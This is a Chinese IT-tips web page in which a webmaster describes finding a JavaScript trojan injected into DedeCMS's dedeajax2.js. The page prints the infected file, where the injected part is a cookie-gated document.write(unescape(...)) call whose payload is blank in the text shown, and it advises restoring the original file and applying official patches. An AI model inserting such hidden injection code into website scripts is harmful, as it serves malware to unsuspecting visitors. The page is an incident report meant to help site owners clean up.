位置: IT常识 - 正文

织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞)

编辑:rootadmin
这阵子我的一个织梦dedecms网站被植入了木马,程序dede。于是我升级到了IE7+全补丁,为了查木马做准备工作,呵呵。

推荐整理分享织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞),希望有所帮助,仅作参考,欢迎阅读内容。

织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞)

文章相关热门搜索词:织梦志玲 舞蹈,织梦志玲 舞蹈,织梦dedecms模板,织梦dedecms开始收割韭菜了,织梦dedecms网站无法访问,织梦映象,织梦dedecms网站无法访问,织梦dedecms网站无法访问,内容如对您有帮助,希望把文章链接给更多的朋友!

结果发现,dedecms织梦ajax2.js被植入了木马。源码如下:

//初始化xmldomfunction InitXDom(){if(DedeXDOM!=null) return;var obj = null;if (typeof(DOMParser) != "undefined") { // Gecko、Mozilla、Firefoxvar parser = new DOMParser();obj = parser.parseFromString(xmlText, "text/xml");} else { // IEtry { obj = new ActiveXObject("MSXML2.DOMDocument");} catch (e) { }if (obj == null) try { obj = new ActiveXObject("Microsoft.XMLDOM"); } catch (e) { }}DedeXDOM = obj;};//以下是被植入木马的部分,乱码都是经由unicode码处理。现在的马夫越来越狡猾了if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime() 24*60*60*1000);document.cookie='hello=Yes;path=/;expires=' expires.toGMTString();document.write(unescape(""));}用原版本的dedeajax2覆盖,即可。这个文件,dede的模板都要用到,搜索了,没有发现说明用处。不过建议大家,多注意dedecms的官方补丁,unix服务器的织梦站长,千万别所有文件都是设置,虽然dede在unix的服务器上,设置太过繁琐。

免责

本文链接地址:https://www.jiuchutong.com/zhishi/313335.html 转载请保留说明!

上一篇:最好最实用的织梦二次开发教程(最好最实用的织毛线)

下一篇:经典帝国CMS生成sitemap实现代码分享(经典帝国cms生成器下载)

  • 个税应纳税所得额计算公式
  • 旧设备出口增值税处理
  • 一张报关单可以分两次退税吗
  • 装卸搬运服务属于什么税目
  • 建筑企业小规模纳税人升为一般纳税人条件
  • 外地施工如何找工人
  • 开票金额比实际金额多
  • 退货退款分录
  • 公司因担保产生损失
  • 固定资产折旧方法有几种
  • 接受控股股东的非现金资产捐赠
  • 在租赁的土地上建房产权归谁
  • 企业基本保险
  • 什么企业没有销售费用
  • 上月增值税未申报本月能开票吗
  • 企业的完工产品是指
  • 员工拓展培训进度怎么写
  • 社会保险的登记和申报程序
  • 进项税核定扣除试点
  • 含税进货价款怎么算
  • 独生子女补贴是给父母还是子女的
  • 金税盘锁死去税务局流程
  • 借库存商品贷生产成本这笔会计分录反映的经济业务是
  • 开发企业售楼处工作内容
  • 代扣个税税率是多少
  • windows无法验证此设备数字签名
  • 小规模纳税人的企业所得税怎么算
  • windows 10音响没有声音
  • 预付采购材料货款
  • 企业合并分立
  • 非正常损失会计利润调整
  • php自定义表单系统
  • 即插即用系统
  • 微信小程序开发一个多少钱
  • 公司购买承兑
  • 员工买机票公司会知道吗
  • 代管资金支出怎么做账
  • 企业所得税计算器在线计算
  • 企业哪些增值税免征
  • 营业收入在财务报表上用什么字母表示
  • sql server遇到的主要问题及解决方法
  • 进口关税的计算是以什么为基础
  • 短期贷款利息支付
  • 弃置费用的财务费用计算
  • 如何查询继续教育ic卡号
  • 跨境电商财务如何报税
  • 委托代销安排的迹象有哪些
  • 委托代销受托方会计分录
  • 法院强制执行根本没用
  • 不得从销项税额中抵扣进项税的有哪些
  • 为什么要提前计划
  • 负数发票要给税务局吗
  • 什么是大病医疗救助
  • 计提时的会计分录
  • 销项税红字发票如何做账
  • 如何制作会计账簿
  • win10预览版21277
  • win8局域网共享设置
  • w10的产品密钥
  • win10如何恢复
  • 使用组策略可控制什么
  • ubuntu下mysql的常用命令
  • ubuntu安装教程14.04
  • windows8装 .NET 3.5 时出现0x800F0907错误解决方法
  • win10系统免费升级
  • 电脑qq语音界面
  • linux简单常用命令
  • cocos怎么用
  • easyui下拉列表
  • linux运维是必死之路
  • node.js redis
  • unity3d的游戏
  • js中的json
  • python贪吃蛇游戏代码怎么运行
  • python multinomial
  • android局部界面切换
  • 天津市国税局网站
  • 深圳国税网上申报流程图
  • 生产税净额包含企业所得税吗
  • 实名办税人员承诺书范本
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设